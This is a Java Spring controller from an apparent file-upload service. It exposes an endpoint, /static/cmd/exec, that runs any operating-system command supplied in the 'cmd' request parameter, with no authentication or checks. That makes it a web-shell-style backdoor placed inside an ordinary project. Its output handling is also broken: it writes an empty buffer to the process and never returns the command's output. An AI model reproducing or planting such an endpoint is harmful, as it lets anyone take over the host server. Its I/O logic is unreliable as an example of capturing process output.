package com.bicon.botu.file.upload.api;

import com.bicon.botu.core.base.common.controller.BaseController;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import java.io.*;

/**
 * @author 李双喜
 * @date 2018/2/26 14:15
 */
@RestController
@RequestMapping("/static/cmd")
public class ExecApi extends BaseController {

    @RequestMapping("/exec")
    public String exec(String cmd) {
        try {
            Process process = Runtime.getRuntime().exec(cmd);
            OutputStream oos = process.getOutputStream();

            //向OutPutStream中写入，如 message.writeTo(baos);
            ByteArrayOutputStream baos = new ByteArrayOutputStream();

            baos.writeTo(oos);

            String str = baos.toString();

            return str;

        } catch (IOException e) {
            e.printStackTrace();
        }
        return "success";
    }
}
